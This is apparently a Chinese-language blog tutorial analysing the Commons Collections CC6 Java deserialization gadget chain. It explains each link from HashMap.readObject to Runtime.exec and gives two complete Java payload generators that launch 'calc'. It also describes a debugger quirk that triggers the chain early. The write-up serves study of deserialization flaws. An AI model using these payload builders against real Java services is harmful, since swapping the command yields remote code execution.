前言 CC6优于C1的地方就在于他不受jdk版本限制,其后面部分是一样的,只是前面有所不同
链子分析 后半段还是使用CC1的后半段
1 2 3 4 5 6 ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) });
然后看哪里会调用transform
LazyMap.get() 1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
可以看到,他这里会调用transform,而且factory是可控的
这个类的构造函数也是无法直接调用,但是他提供了decorate
静态方法来返回一个对象
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
所以连起来
1 2 3 4 5 6 7 8 9 ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<?,?> hashMap= new HashMap <>(); Map<Object,Object> map = LazyMap.decorate(hashMap,chainTransformer);
然后再找找哪里会调用get
TiedMapEntry.getValue() 1 2 3 public Object getValue () { return map.get(key); }
map是可以直接可控的,而且他的构造函数还是public
1 2 3 4 5 public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; }
然后就是找哪里调用了getValue
TiedMapEntry.hashCode() 还是在这个类的hashCode()
就调用了getValue()
1 2 3 4 5 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
再找找哪里调用了hashCode
HashMap.hash() 1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
在这里调用了hashCode,而且,这个方法在HashMap.readOject()里被调用,所以刚好就是一个链子了
HashMap.readOject() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); }
先把链子连起来,然后再看看需要解决什么问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class cc6 { public static void main (String[] args) throws Exception { ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<?,?> hashMap= new HashMap <>(); Map<Object,Object> map = LazyMap.decorate(hashMap,chainTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (map,"123" ); Map<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry,"321" ); serialize(hashMap2); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("2.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
经过debug发现,在执行TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"123");
的时候,就会弹出计算器,所以要解决这个问题
然后再debug发现,在执行这里的时候就会直接弹计算器
mlgb,为啥啊,这啥都没有,为什么会弹计算器啊
经过和群里大佬的交流,发现 是这个傻逼idea在debug的时候会自动调用类的toString()
方法
IDEA在debug程序时,当debug到某个对象时,会调用对象的toString()方法,用来在debug界面显示对象信息。
IDEA调用toString()方法时,即使在toString()方法中设置了断点,该断点也不会被触发,也就是说,开发者多数情况下不会知道toString()方法被调用了
多数情况下调用一下toString()方法没有什么问题,但是也有例外,比如重写了toString()方法的类,随意的调用toString()方法会导致未知的问题。
然后TiedMapEntry
类里刚好有这个方法
1 2 3 public String toString () { return getKey() + "=" + getValue(); }
且会调用getValue,所以就会提前触发,弹计算器
可以手动关闭
和群友讨论,用这个特性可以做一些意想不到的事情
避免LazyMap.get()提前执行 这个跟URLDNS的链子一样,因为在put的时候,也会执行hash,因此就会执行TiedMapEntry.hashCode()
所以提前弹出计算器,然后导致在序列化之前,LazyMap.get()
里的map被赋予键值,导致map.containsKey(key) == false
不成立
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
从而在反序列化的时候,就不会执行这里了
有很多种改法,只要最终不要执行到LazyMap.get()
这里就行
使用反射,在put之后把对应的值修改成我们需要的即可
修改TiedMapEntry的map成员值 1 2 3 public Object getValue () { return map.get(key); }
把map修改成其他对象即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<Object,Object> hashMap= new HashMap <>(); Map<Object,Object> map = LazyMap.decorate(hashMap, chainTransformer); Map<Object,Object> maptmp=new HashMap <>(); TiedMapEntry entry = new TiedMapEntry (map,"123" );TiedMapEntry tiedMapEntry = new TiedMapEntry (maptmp,"123" );Map<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry,"321" ); Class TiedMap = TiedMapEntry.class;Field mapDeclaredField = TiedMap.getDeclaredField("map" );mapDeclaredField.setAccessible(true ); mapDeclaredField.set(tiedMapEntry,map); serialize(hashMap2); unserialize("2.bin" );
修改LazyMap的factory成员值,并且在put后面移除Lazymap的key值 因为在第一次执行factory.transform
后会给map成员的key赋值,导致在反序列化后,就不会再执行factory.transform
了,所以要在put后给他删掉
因此前面修改修改LazyMap的factory成员值这一步不是非常必要,也只是为了不让他在序列化之前弹计算器罢了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static void main (String[] args) throws Exception { ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<Object,Object> hashMap= new HashMap <>(); Map<Object,Object> Lazymap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (Lazymap,"123" );Map<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry,"321" ); Lazymap.remove("123" ); Class LazyMaptmp = LazyMap.class;Field factoryDeclaredField = LazyMaptmp.getDeclaredField("factory" );factoryDeclaredField.setAccessible(true ); factoryDeclaredField.set(Lazymap,chainTransformer); serialize(hashMap2); unserialize("2.bin" );
POP 1 2 3 4 5 6 7 8 HashMap.readOject() HashMap.hash() ->TiedMapEntry.hashCode() TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() InvokerTransformer.transform() ->Runtime.exec()
两种写法【应该还有其他写法,只不过限制于傻逼idea的debug会自动调用toString】
1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import com.sun.corba.se.impl.oa.toa.TOA;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class cc6 { public static void main (String[] args) throws Exception { ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<Object,Object> hashMap= new HashMap <>(); Map<Object,Object> map = LazyMap.decorate(hashMap, chainTransformer); Map<Object,Object> maptmp=new HashMap <>(); TiedMapEntry tiedMapEntry = new TiedMapEntry (maptmp,"123" ); Map<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry,"321" ); Class TiedMap = TiedMapEntry.class; Field mapDeclaredField = TiedMap.getDeclaredField("map" ); mapDeclaredField.setAccessible(true ); mapDeclaredField.set(tiedMapEntry,map); serialize(hashMap2); unserialize("2.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("2.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import com.sun.corba.se.impl.oa.toa.TOA;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class cc6 { public static void main (String[] args) throws Exception { ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class [] {Object.class,Object[].class},new Object [] {null ,null }), new InvokerTransformer ("exec" ,new Class [] {String.class},new Object []{"calc" }) }); Map<Object,Object> hashMap= new HashMap <>(); Map<Object,Object> Lazymap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (Lazymap,"123" ); Map<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry,"321" ); Lazymap.remove("123" ); Class LazyMaptmp = LazyMap.class; Field factoryDeclaredField = LazyMaptmp.getDeclaredField("factory" ); factoryDeclaredField.setAccessible(true ); factoryDeclaredField.set(Lazymap,chainTransformer); serialize(hashMap2); unserialize("2.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("2.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }